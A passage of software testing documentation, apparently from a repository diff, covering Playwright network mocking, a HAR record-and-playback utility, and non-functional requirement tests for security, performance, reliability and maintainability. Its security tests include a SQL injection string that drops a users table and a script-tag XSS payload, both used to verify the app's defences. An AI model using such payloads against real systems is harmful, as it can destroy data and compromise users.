// Step 1: Register mock FIRST
await page.route('**/api/users', (route) =>
route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify([{ id: 1, name: 'Test User' }]),
}),
);
// Step 2: Store response promise BEFORE trigger
const responsePromise = page.waitForResponse('**/api/users');
// Step 3: THEN trigger
await page.goto('/dashboard');
// Step 4: THEN await response
await responsePromise;
// Step 5: THEN assert (data is guaranteed loaded)
await expect(page.getByText('Test User')).toBeVisible();
});
```
**Key Points**:
- Order matters: Mock → Promise → Trigger → Await → Assert
- No race conditions: Mock is active before request fires
- Explicit wait: Response promise ensures data loaded
- Deterministic: Always passes if app works correctly
## Integration Points
- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
- **Related fragments**:
- `fixture-architecture.md` - Network fixture patterns
- `data-factories.md` - API-first setup with network
- `test-quality.md` - Deterministic test principles
## Debugging Network Issues
When network tests fail, check:
1. **Timing**: Is interception registered **before** action?
2. **URL pattern**: Does pattern match actual request URL?
3. **Response format**: Is mocked response valid JSON/format?
4. **Status code**: Is app checking for 200 vs 201 vs 204?
5. **HAR file**: Capture real traffic to understand actual API contract
```typescript
// Debug network issues with logging
test('debug network', async ({ page }) => {
// Log all requests
page.on('request', (req) => console.log('→', req.method(), req.url()));
// Log all responses
page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
await page.goto('/dashboard');
});
```
_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._

View File

@@ -0,0 +1,527 @@
# Network Recorder Utility
## Principle
Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
## Rationale
Traditional E2E tests require live backend services:
- Slow (real network latency)
- Flaky (backend instability affects tests)
- Expensive (full stack running for UI tests)
- Coupled (UI tests break when API changes)
HAR-based recording/playback provides:
- **True offline testing**: UI tests run without backend
- **Deterministic behavior**: Same responses every time
- **Fast execution**: No network latency
- **Stateful mocking**: CRUD operations work naturally (not just read-only)
- **Environment flexibility**: Map URLs for any environment
## Quick Start
### 1. Record Network Traffic
```typescript
// Set mode to 'record' to capture network traffic
process.env.PW_NET_MODE = 'record';
test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
// Setup network recorder - it will record all network traffic
await networkRecorder.setup(context);
// Your normal test code
await page.goto('/');
await page.fill('#movie-name', 'Inception');
await page.click('#add-movie');
// Network traffic is automatically saved to HAR file
});
```
### 2. Playback Network Traffic
```typescript
// Set mode to 'playback' to use recorded traffic
process.env.PW_NET_MODE = 'playback';
test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
// Setup network recorder - it will replay from HAR file
await networkRecorder.setup(context);
// Same test code runs without hitting real backend!
await page.goto('/');
await page.fill('#movie-name', 'Inception');
await page.click('#add-movie');
});
```
That's it! Your tests now run completely offline using recorded network traffic.
## Pattern Examples
### Example 1: Basic Record and Playback
**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
**Implementation**:
```typescript
import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
// Set mode in test file (recommended)
process.env.PW_NET_MODE = 'playback'; // or 'record'
test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
// Setup recorder (records or plays back based on PW_NET_MODE)
await networkRecorder.setup(context);
await page.goto('/');
// First time (record mode): Records all network traffic to HAR
// Subsequent runs (playback mode): Plays back from HAR (no backend!)
await page.fill('#movie-name', 'Inception');
await page.click('#add-movie');
// Intelligent CRUD detection makes this work offline!
await expect(page.getByText('Inception')).toBeVisible();
});
```
**Key Points**:
- `PW_NET_MODE=record` captures traffic to HAR files
- `PW_NET_MODE=playback` replays from HAR files
- Set mode in test file or via environment variable
- HAR files auto-organized by test name
- Stateful mocking detects CRUD operations
### Example 2: Complete CRUD Flow with HAR
**Context**: Full create-read-update-delete flow that works completely offline.
**Implementation**:
```typescript
process.env.PW_NET_MODE = 'playback';
test.describe('Movie CRUD - offline with network recorder', () => {
test.beforeEach(async ({ page, networkRecorder, context }) => {
await networkRecorder.setup(context);
await page.goto('/');
});
test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
// Create
await page.fill('#movie-name', 'Inception');
await page.fill('#year', '2010');
await page.click('#add-movie');
// Verify create (reads from stateful HAR)
await expect(page.getByText('Inception')).toBeVisible();
// Update
await page.getByText('Inception').click();
await page.fill('#movie-name', "Inception Director's Cut");
const updateCall = interceptNetworkCall({
method: 'PUT',
url: '/movies/*',
});
await page.click('#save');
await updateCall; // Wait for update
// Verify update (HAR reflects state change!)
await page.click('#back');
await expect(page.getByText("Inception Director's Cut")).toBeVisible();
// Delete
await page.click(`[data-testid="delete-Inception Director's Cut"]`);
// Verify delete (HAR reflects removal!)
await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
});
});
```
**Key Points**:
- Full CRUD operations work offline
- Stateful HAR mocking tracks creates/updates/deletes
- Combine with `interceptNetworkCall` for deterministic waits
- First run records, subsequent runs replay
### Example 3: Common Patterns
**Recording Only API Calls**:
```typescript
await networkRecorder.setup(context, {
recording: {
urlFilter: /\/api\//, // Only record API calls, ignore static assets
},
});
```
**Playback with Fallback**:
```typescript
await networkRecorder.setup(context, {
playback: {
fallback: true, // Fall back to live requests if HAR entry missing
},
});
```
**Custom HAR File Location**:
```typescript
await networkRecorder.setup(context, {
harFile: {
harDir: 'recordings/api-calls',
baseName: 'user-journey',
organizeByTestFile: false, // Optional: flatten directory structure
},
});
```
**Directory Organization:**
- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
### Example 4: Response Content Storage - Embed vs Attach
**Context**: Choose how response content is stored in HAR files.
**`embed` (Default - Recommended):**
```typescript
await networkRecorder.setup(context, {
recording: {
content: 'embed', // Store content inline (default)
},
});
```
**Pros:**
- Single self-contained file - Easy to share, version control
- Better for small-medium responses (API JSON, HTML pages)
- HAR specification compliant
**Cons:**
- Larger HAR files
- Not ideal for large binary content (images, videos)
**`attach` (Alternative):**
```typescript
await networkRecorder.setup(context, {
recording: {
content: 'attach', // Store content separately
},
});
```
**Pros:**
- Smaller HAR files
- Better for large responses (images, videos, documents)
**Cons:**
- Multiple files to manage
- Harder to share
**When to Use Each:**
| Use `embed` (default) when | Use `attach` when |
| ----------------------------------- | ------------------------------- |
| Recording API responses (JSON, XML) | Recording large images, videos |
| Small to medium HTML pages | HAR file size >50MB |
| You want a single, portable file | Maximum disk efficiency needed |
| Sharing HAR files with team | Working with ZIP archive output |
### Example 5: Cross-Environment Compatibility (URL Mapping)
**Context**: Record in dev environment, play back in CI with different base URLs.
**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
**Simple Hostname Mapping:**
```typescript
await networkRecorder.setup(context, {
playback: {
urlMapping: {
hostMapping: {
'preview.example.com': 'dev.example.com',
'staging.example.com': 'dev.example.com',
'localhost:3000': 'dev.example.com',
},
},
},
});
```
**Pattern-Based Mapping (Recommended):**
```typescript
await networkRecorder.setup(context, {
playback: {
urlMapping: {
patterns: [
// Map any preview-XXXX subdomain to dev
{ match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
],
},
},
});
```
**Custom Function:**
```typescript
await networkRecorder.setup(context, {
playback: {
urlMapping: {
mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
},
},
});
```
**Complex Multi-Environment Example:**
```typescript
await networkRecorder.setup(context, {
playback: {
urlMapping: {
hostMapping: {
'localhost:3000': 'admin.example.com',
'admin-staging.example.com': 'admin.example.com',
'admin.example.com': 'admin.example.com',
},
patterns: [
{ match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
{ match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
],
},
},
});
```
**Benefits:**
- Record once on dev, all environments map back to recordings
- CORS headers automatically updated based on request origin
- Debug with: `LOG_LEVEL=debug npm run test`
## Why Use This Instead of Native Playwright?
| Native Playwright (`routeFromHAR`) | network-recorder Utility |
| ---------------------------------- | ------------------------------ |
| ~80 lines setup boilerplate | ~5 lines total |
| Manual HAR file management | Automatic file organization |
| Complex setup/teardown | Automatic cleanup via fixtures |
| **Read-only tests only** | **Full CRUD support** |
| **Stateless** | **Stateful mocking** |
| Manual URL mapping | Automatic environment mapping |
**The game-changer: Stateful CRUD detection**
Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
## How Stateful CRUD Detection Works
When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
- Mutation operations (POST, PUT, DELETE) to those resources
- Evidence of state changes between identical requests
It automatically switches from static HAR playback to an intelligent stateful mock that:
- Maintains state across requests
- Auto-generates IDs for new resources
- Returns proper 404s for deleted resources
- Supports polling scenarios where state changes over time
**This happens automatically - no configuration needed!**
## API Reference
### NetworkRecorder Methods
| Method | Return Type | Description |
| -------------------- | ------------------------ | --------------------------------------------- |
| `setup(context)` | `Promise<void>` | Sets up recording/playback on browser context |
| `cleanup()` | `Promise<void>` | Flushes data to disk and cleans up memory |
| `getContext()` | `NetworkRecorderContext` | Gets current recorder context information |
| `getStatusMessage()` | `string` | Gets human-readable status message |
| `getHarStats()` | `Promise<HarFileStats>` | Gets HAR file statistics and metadata |
### Understanding `cleanup()`
The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
**What it does:**
- Flushes recorded data to disk (writes HAR file in recording mode)
- Releases file locks
- Clears in-memory data
- Resets internal state
**What it does NOT do:**
- Delete HAR files from disk
- Remove recorded network traffic
- Clear browser context or cookies
### Configuration Options
```typescript
type NetworkRecorderConfig = {
harFile?: {
harDir?: string; // Directory for HAR files (default: 'har-files')
baseName?: string; // Base name for HAR files (default: 'network-traffic')
organizeByTestFile?: boolean; // Organize by test file (default: true)
};
recording?: {
content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
urlFilter?: string | RegExp; // URL filter for recording
update?: boolean; // Update existing HAR files (default: false)
};
playback?: {
fallback?: boolean; // Fall back to live requests (default: false)
urlFilter?: string | RegExp; // URL filter for playback
updateMode?: boolean; // Update mode during playback (default: false)
};
forceMode?: 'record' | 'playback' | 'disabled';
};
```
## Environment Configuration
Control the recording mode using the `PW_NET_MODE` environment variable:
```bash
# Record mode - captures network traffic to HAR files
PW_NET_MODE=record npm run test:pw
# Playback mode - replays network traffic from HAR files
PW_NET_MODE=playback npm run test:pw
# Disabled mode - no network recording/playback
PW_NET_MODE=disabled npm run test:pw
# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
npm run test:pw
```
**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
## Troubleshooting
### HAR File Not Found
If you see "HAR file not found" errors during playback:
1. Ensure you've recorded the test first with `PW_NET_MODE=record`
2. Check the HAR file exists in the expected location (usually `har-files/`)
3. Enable fallback mode: `playback: { fallback: true }`
### Authentication and Network Recording
The network recorder works seamlessly with authentication:
```typescript
test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
// First authenticate
await authSession.login('testuser', 'password');
// Then setup network recording with authenticated context
await networkRecorder.setup(context);
// Test authenticated flows
await page.goto('/dashboard');
});
```
### Concurrent Test Issues
The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
## Integration with Other Utilities
**With interceptNetworkCall (deterministic waits):**
```typescript
test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
await networkRecorder.setup(context);
const createCall = interceptNetworkCall({
method: 'POST',
url: '/api/movies',
});
await page.click('#add-movie');
await createCall; // Wait for create (works with HAR!)
// Network recorder provides playback, intercept provides determinism
});
```
## Related Fragments
- `overview.md` - Installation and fixture patterns
- `intercept-network-call.md` - Combine for deterministic offline tests
- `auth-session.md` - Record authenticated traffic
- `network-first.md` - Core pattern for intercept-before-navigate
## Anti-Patterns
**DON'T mix record and playback in same test:**
```typescript
process.env.PW_NET_MODE = 'record';
// ... some test code ...
process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
```
**DO use one mode per test:**
```typescript
process.env.PW_NET_MODE = 'playback'; // Set once at top
test('my test', async ({ page, context, networkRecorder }) => {
await networkRecorder.setup(context);
// Entire test uses playback mode
});
```
**DON'T forget to call setup:**
```typescript
test('broken', async ({ page, networkRecorder }) => {
await page.goto('/'); // HAR not active!
});
```
**DO always call setup before navigation:**
```typescript
test('correct', async ({ page, context, networkRecorder }) => {
await networkRecorder.setup(context); // Must setup first
await page.goto('/'); // Now HAR is active
});
```

View File

@@ -0,0 +1,670 @@
# Non-Functional Requirements (NFR) Criteria
## Principle
Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
## Rationale
**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
**Why This Matters**:
- Prevents production incidents (security breaches, performance degradation, cascading failures)
- Provides objective release criteria (no subjective "feels fast enough")
- Automates compliance validation (audit trail for regulated environments)
- Forces clarity on ambiguous requirements (default to CONCERNS)
## Pattern Examples
### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
**Context**: Automated security tests enforcing authentication, authorization, and secret handling
**Implementation**:
```typescript
// tests/nfr/security.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Security NFR: Authentication & Authorization', () => {
test('unauthenticated users cannot access protected routes', async ({ page }) => {
// Attempt to access dashboard without auth
await page.goto('/dashboard');
// Should redirect to login (not expose data)
await expect(page).toHaveURL(/\/login/);
await expect(page.getByText('Please sign in')).toBeVisible();
// Verify no sensitive data leaked in response
const pageContent = await page.content();
expect(pageContent).not.toContain('user_id');
expect(pageContent).not.toContain('api_key');
});
test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
// Login and capture token
await page.goto('/login');
await page.getByLabel('Email').fill('test@example.com');
await page.getByLabel('Password').fill('ValidPass123!');
await page.getByRole('button', { name: 'Sign In' }).click();
const token = await page.evaluate(() => localStorage.getItem('auth_token'));
expect(token).toBeTruthy();
// Wait 16 minutes (use mock clock in real tests)
await page.clock.fastForward('00:16:00');
// Token should be expired, API call should fail
const response = await request.get('/api/user/profile', {
headers: { Authorization: `Bearer ${token}` },
});
expect(response.status()).toBe(401);
const body = await response.json();
expect(body.error).toContain('expired');
});
test('passwords are never logged or exposed in errors', async ({ page }) => {
// Trigger login error
await page.goto('/login');
await page.getByLabel('Email').fill('test@example.com');
await page.getByLabel('Password').fill('WrongPassword123!');
// Monitor console for password leaks
const consoleLogs: string[] = [];
page.on('console', (msg) => consoleLogs.push(msg.text()));
await page.getByRole('button', { name: 'Sign In' }).click();
// Error shown to user (generic message)
await expect(page.getByText('Invalid credentials')).toBeVisible();
// Verify password NEVER appears in console, DOM, or network
const pageContent = await page.content();
expect(pageContent).not.toContain('WrongPassword123!');
expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
});
test('RBAC: users can only access resources they own', async ({ page, request }) => {
// Login as User A
const userAToken = await login(request, 'userA@example.com', 'password');
// Try to access User B's order
const response = await request.get('/api/orders/user-b-order-id', {
headers: { Authorization: `Bearer ${userAToken}` },
});
expect(response.status()).toBe(403); // Forbidden
const body = await response.json();
expect(body.error).toContain('insufficient permissions');
});
test('SQL injection attempts are blocked', async ({ page }) => {
await page.goto('/search');
// Attempt SQL injection
await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
await page.getByRole('button', { name: 'Search' }).click();
// Should return empty results, NOT crash or expose error
await expect(page.getByText('No results found')).toBeVisible();
// Verify app still works (table not dropped)
await page.goto('/dashboard');
await expect(page.getByText('Welcome')).toBeVisible();
});
test('XSS attempts are sanitized', async ({ page }) => {
await page.goto('/profile/edit');
// Attempt XSS injection
const xssPayload = '<script>alert("XSS")</script>';
await page.getByLabel('Bio').fill(xssPayload);
await page.getByRole('button', { name: 'Save' }).click();
// Reload and verify XSS is escaped (not executed)
await page.reload();
const bio = await page.getByTestId('user-bio').textContent();
// Text should be escaped, script should NOT execute
expect(bio).toContain('&lt;script&gt;');
expect(bio).not.toContain('<script>');
});
});
// Helper
async function login(request: any, email: string, password: string): Promise<string> {
const response = await request.post('/api/auth/login', {
data: { email, password },
});
const body = await response.json();
return body.token;
}
```
**Key Points**:
- Authentication: Unauthenticated access redirected (not exposed)
- Authorization: RBAC enforced (403 for insufficient permissions)
- Token expiry: JWT expires after 15 minutes (automated validation)
- Secret handling: Passwords never logged or exposed in errors
- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
**Security NFR Criteria**:
- ✅ PASS: All 6 tests green (auth, authz, token expiry, secret handling, SQL injection, XSS)
- ⚠️ CONCERNS: 1-2 tests failing with mitigation plan and owner assigned
- ❌ FAIL: Critical exposure (unauthenticated access, password leak, SQL injection succeeds)
---
### Example 2: Performance NFR Validation (k6 Load Testing for SLO/SLA)
**Context**: Use k6 for load testing, stress testing, and SLO/SLA enforcement (NOT Playwright)
**Implementation**:
```javascript
// tests/nfr/performance.k6.js
import http from 'k6/http';
import { check, sleep } from 'k6';
import { Rate, Trend } from 'k6/metrics';
// Custom metrics
const errorRate = new Rate('errors');
const apiDuration = new Trend('api_duration');
// Performance thresholds (SLO/SLA)
export const options = {
stages: [
{ duration: '1m', target: 50 }, // Ramp up to 50 users
{ duration: '3m', target: 50 }, // Stay at 50 users for 3 minutes
{ duration: '1m', target: 100 }, // Spike to 100 users
{ duration: '3m', target: 100 }, // Stay at 100 users
{ duration: '1m', target: 0 }, // Ramp down
],
thresholds: {
// SLO: 95% of requests must complete in <500ms
http_req_duration: ['p(95)<500'],
// SLO: Error rate must be <1%
errors: ['rate<0.01'],
// SLA: API endpoints must respond in <1s (99th percentile)
api_duration: ['p(99)<1000'],
},
};
export default function () {
// Test 1: Homepage load performance
const homepageResponse = http.get(`${__ENV.BASE_URL}/`);
check(homepageResponse, {
'homepage status is 200': (r) => r.status === 200,
'homepage loads in <2s': (r) => r.timings.duration < 2000,
});
errorRate.add(homepageResponse.status !== 200);
// Test 2: API endpoint performance
const apiResponse = http.get(`${__ENV.BASE_URL}/api/products?limit=10`, {
headers: { Authorization: `Bearer ${__ENV.API_TOKEN}` },
});
check(apiResponse, {
'API status is 200': (r) => r.status === 200,
'API responds in <500ms': (r) => r.timings.duration < 500,
});
apiDuration.add(apiResponse.timings.duration);
errorRate.add(apiResponse.status !== 200);
// Test 3: Search endpoint under load
const searchResponse = http.get(`${__ENV.BASE_URL}/api/search?q=laptop&limit=100`);
check(searchResponse, {
'search status is 200': (r) => r.status === 200,
'search responds in <1s': (r) => r.timings.duration < 1000,
'search returns results': (r) => JSON.parse(r.body).results.length > 0,
});
errorRate.add(searchResponse.status !== 200);
sleep(1); // Realistic user think time
}
// Threshold validation (run after test)
export function handleSummary(data) {
const p95Duration = data.metrics.http_req_duration.values['p(95)'];
const p99ApiDuration = data.metrics.api_duration.values['p(99)'];
const errorRateValue = data.metrics.errors.values.rate;
console.log(`P95 request duration: ${p95Duration.toFixed(2)}ms`);
console.log(`P99 API duration: ${p99ApiDuration.toFixed(2)}ms`);
console.log(`Error rate: ${(errorRateValue * 100).toFixed(2)}%`);
return {
'summary.json': JSON.stringify(data),
stdout: `
Performance NFR Results:
- P95 request duration: ${p95Duration < 500 ? '✅ PASS' : '❌ FAIL'} (${p95Duration.toFixed(2)}ms / 500ms threshold)
- P99 API duration: ${p99ApiDuration < 1000 ? '✅ PASS' : '❌ FAIL'} (${p99ApiDuration.toFixed(2)}ms / 1000ms threshold)
- Error rate: ${errorRateValue < 0.01 ? '✅ PASS' : '❌ FAIL'} (${(errorRateValue * 100).toFixed(2)}% / 1% threshold)
`,
};
}
```
**Run k6 tests:**
```bash
# Local smoke test (10 VUs, 30s)
k6 run --vus 10 --duration 30s tests/nfr/performance.k6.js
# Full load test (stages defined in script)
k6 run tests/nfr/performance.k6.js
# CI integration with thresholds
k6 run --out json=performance-results.json tests/nfr/performance.k6.js
```
**Key Points**:
- **k6 is the right tool** for load testing (NOT Playwright)
- SLO/SLA thresholds enforced automatically (`p(95)<500`, `rate<0.01`)
- Realistic load simulation (ramp up, sustained load, spike testing)
- Comprehensive metrics (p50, p95, p99, error rate, throughput)
- CI-friendly (JSON output, exit codes based on thresholds)
**Performance NFR Criteria**:
- ✅ PASS: All SLO/SLA targets met with k6 profiling evidence (p95 < 500ms, error rate < 1%)
- CONCERNS: Trending toward limits (e.g., p95 = 480ms approaching 500ms) or missing baselines
- FAIL: SLO/SLA breached (e.g., p95 > 500ms) or error rate > 1%
**Performance Testing Levels (from Test Architect course):**
- **Load testing**: System behavior under expected load
- **Stress testing**: System behavior under extreme load (breaking point)
- **Spike testing**: Sudden load increases (traffic spikes)
- **Endurance/Soak testing**: System behavior under sustained load (memory leaks, resource exhaustion)
- **Benchmarking**: Baseline measurements for comparison
**Note**: Playwright can validate **perceived performance** (Core Web Vitals via Lighthouse), but k6 validates **system performance** (throughput, latency, resource limits under load)
---
### Example 3: Reliability NFR Validation (Playwright for UI Resilience)
**Context**: Automated reliability tests validating graceful degradation and recovery paths
**Implementation**:
```typescript
// tests/nfr/reliability.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Reliability NFR: Error Handling & Recovery', () => {
test('app remains functional when API returns 500 error', async ({ page, context }) => {
// Mock API failure
await context.route('**/api/products', (route) => {
route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
});
await page.goto('/products');
// User sees error message (not blank page or crash)
await expect(page.getByText('Unable to load products. Please try again.')).toBeVisible();
await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
// App navigation still works (graceful degradation)
await page.getByRole('link', { name: 'Home' }).click();
await expect(page).toHaveURL('/');
});
test('API client retries on transient failures (3 attempts)', async ({ page, context }) => {
let attemptCount = 0;
await context.route('**/api/checkout', (route) => {
attemptCount++;
// Fail first 2 attempts, succeed on 3rd
if (attemptCount < 3) {
route.fulfill({ status: 503, body: JSON.stringify({ error: 'Service Unavailable' }) });
} else {
route.fulfill({ status: 200, body: JSON.stringify({ orderId: '12345' }) });
}
});
await page.goto('/checkout');
await page.getByRole('button', { name: 'Place Order' }).click();
// Should succeed after 3 attempts
await expect(page.getByText('Order placed successfully')).toBeVisible();
expect(attemptCount).toBe(3);
});
test('app handles network disconnection gracefully', async ({ page, context }) => {
await page.goto('/dashboard');
// Simulate offline mode
await context.setOffline(true);
// Trigger action requiring network
await page.getByRole('button', { name: 'Refresh Data' }).click();
// User sees offline indicator (not crash)
await expect(page.getByText('You are offline. Changes will sync when reconnected.')).toBeVisible();
// Reconnect
await context.setOffline(false);
await page.getByRole('button', { name: 'Refresh Data' }).click();
// Data loads successfully
await expect(page.getByText('Data updated')).toBeVisible();
});
test('health check endpoint returns service status', async ({ request }) => {
const response = await request.get('/api/health');
expect(response.status()).toBe(200);
const health = await response.json();
expect(health).toHaveProperty('status', 'healthy');
expect(health).toHaveProperty('timestamp');
expect(health).toHaveProperty('services');
// Verify critical services are monitored
expect(health.services).toHaveProperty('database');
expect(health.services).toHaveProperty('cache');
expect(health.services).toHaveProperty('queue');
// All services should be UP
expect(health.services.database.status).toBe('UP');
expect(health.services.cache.status).toBe('UP');
expect(health.services.queue.status).toBe('UP');
});
test('circuit breaker opens after 5 consecutive failures', async ({ page, context }) => {
let failureCount = 0;
await context.route('**/api/recommendations', (route) => {
failureCount++;
route.fulfill({ status: 500, body: JSON.stringify({ error: 'Service Error' }) });
});
await page.goto('/product/123');
// Wait for circuit breaker to open (fallback UI appears)
await expect(page.getByText('Recommendations temporarily unavailable')).toBeVisible({ timeout: 10000 });
// Verify circuit breaker stopped making requests after threshold (should be ≤5)
expect(failureCount).toBeLessThanOrEqual(5);
});
test('rate limiting gracefully handles 429 responses', async ({ page, context }) => {
let requestCount = 0;
await context.route('**/api/search', (route) => {
requestCount++;
if (requestCount > 10) {
// Rate limit exceeded
route.fulfill({
status: 429,
headers: { 'Retry-After': '5' },
body: JSON.stringify({ error: 'Rate limit exceeded' }),
});
} else {
route.fulfill({ status: 200, body: JSON.stringify({ results: [] }) });
}
});
await page.goto('/search');
// Make 15 search requests rapidly
for (let i = 0; i < 15; i++) {
await page.getByPlaceholder('Search').fill(`query-${i}`);
await page.getByRole('button', { name: 'Search' }).click();
}
// User sees rate limit message (not crash)
await expect(page.getByText('Too many requests. Please wait a moment.')).toBeVisible();
});
});
```
**Key Points**:
- Error handling: Graceful degradation (500 error → user-friendly message + retry button)
- Retries: 3 attempts on transient failures (503 → eventual success)
- Offline handling: Network disconnection detected (sync when reconnected)
- Health checks: `/api/health` monitors database, cache, queue
- Circuit breaker: Opens after 5 failures (fallback UI, stop retries)
- Rate limiting: 429 response handled (Retry-After header respected)
**Reliability NFR Criteria**:
- ✅ PASS: Error handling, retries, health checks verified (all 6 tests green)
- ⚠️ CONCERNS: Partial coverage (e.g., missing circuit breaker) or no telemetry
- ❌ FAIL: No recovery path (500 error crashes app) or unresolved crash scenarios
---
### Example 4: Maintainability NFR Validation (CI Tools, Not Playwright)
**Context**: Use proper CI tools for code quality validation (coverage, duplication, vulnerabilities)
**Implementation**:
```yaml
# .github/workflows/nfr-maintainability.yml
name: NFR - Maintainability
on: [push, pull_request]
jobs:
test-coverage:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- name: Install dependencies
run: npm ci
- name: Run tests with coverage
run: npm run test:coverage
- name: Check coverage threshold (80% minimum)
run: |
COVERAGE=$(jq '.total.lines.pct' coverage/coverage-summary.json)
echo "Coverage: $COVERAGE%"
if (( $(echo "$COVERAGE < 80" | bc -l) )); then
echo "❌ FAIL: Coverage $COVERAGE% below 80% threshold"
exit 1
else
echo "✅ PASS: Coverage $COVERAGE% meets 80% threshold"
fi
code-duplication:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- name: Check code duplication (<5% allowed)
run: |
npx jscpd src/ --threshold 5 --format json --output duplication.json
DUPLICATION=$(jq '.statistics.total.percentage' duplication.json)
echo "Duplication: $DUPLICATION%"
if (( $(echo "$DUPLICATION >= 5" | bc -l) )); then
echo "❌ FAIL: Duplication $DUPLICATION% exceeds 5% threshold"
exit 1
else
echo "✅ PASS: Duplication $DUPLICATION% below 5% threshold"
fi
vulnerability-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
- name: Install dependencies
run: npm ci
- name: Run npm audit (no critical/high vulnerabilities)
run: |
npm audit --json > audit.json || true
CRITICAL=$(jq '.metadata.vulnerabilities.critical' audit.json)
HIGH=$(jq '.metadata.vulnerabilities.high' audit.json)
echo "Critical: $CRITICAL, High: $HIGH"
if [ "$CRITICAL" -gt 0 ] || [ "$HIGH" -gt 0 ]; then
echo "❌ FAIL: Found $CRITICAL critical and $HIGH high vulnerabilities"
npm audit
exit 1
else
echo "✅ PASS: No critical/high vulnerabilities"
fi
```
**Playwright Tests for Observability (E2E Validation):**
```typescript
// tests/nfr/observability.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Maintainability NFR: Observability Validation', () => {
test('critical errors are reported to monitoring service', async ({ page, context }) => {
const sentryEvents: any[] = [];
// Mock Sentry SDK to verify error tracking
await context.addInitScript(() => {
(window as any).Sentry = {
captureException: (error: Error) => {
console.log('SENTRY_CAPTURE:', JSON.stringify({ message: error.message, stack: error.stack }));
},
};
});
page.on('console', (msg) => {
if (msg.text().includes('SENTRY_CAPTURE:')) {
sentryEvents.push(JSON.parse(msg.text().replace('SENTRY_CAPTURE:', '')));
}
});
// Trigger error by mocking API failure
await context.route('**/api/products', (route) => {
route.fulfill({ status: 500, body: JSON.stringify({ error: 'Database Error' }) });
});
await page.goto('/products');
// Wait for error UI and Sentry capture
await expect(page.getByText('Unable to load products')).toBeVisible();
// Verify error was captured by monitoring
expect(sentryEvents.length).toBeGreaterThan(0);
expect(sentryEvents[0]).toHaveProperty('message');
expect(sentryEvents[0]).toHaveProperty('stack');
});
test('API response times are tracked in telemetry', async ({ request }) => {
const response = await request.get('/api/products?limit=10');
expect(response.ok()).toBeTruthy();
// Verify Server-Timing header for APM (Application Performance Monitoring)
const serverTiming = response.headers()['server-timing'];
expect(serverTiming).toBeTruthy();
expect(serverTiming).toContain('db'); // Database query time
expect(serverTiming).toContain('total'); // Total processing time
});
test('structured logging present in application', async ({ request }) => {
// Make API call that generates logs
const response = await request.post('/api/orders', {
data: { productId: '123', quantity: 2 },
});
expect(response.ok()).toBeTruthy();
// Note: In real scenarios, validate logs in monitoring system (Datadog, CloudWatch)
// This test validates the logging contract exists (Server-Timing, trace IDs in headers)
const traceId = response.headers()['x-trace-id'];
expect(traceId).toBeTruthy(); // Confirms structured logging with correlation IDs
});
});
```
**Key Points**:
- **Coverage/duplication**: CI jobs (GitHub Actions), not Playwright tests
- **Vulnerability scanning**: npm audit in CI, not Playwright tests
- **Observability**: Playwright validates error tracking (Sentry) and telemetry headers
- **Structured logging**: Validate logging contract (trace IDs, Server-Timing headers)
- **Separation of concerns**: Build-time checks (coverage, audit) vs runtime checks (error tracking, telemetry)
**Maintainability NFR Criteria**:
- ✅ PASS: Clean code (80%+ coverage from CI, <5% duplication from CI), observability validated in E2E, no critical vulnerabilities from npm audit
- CONCERNS: Duplication >5%, coverage 60-79%, or unclear ownership
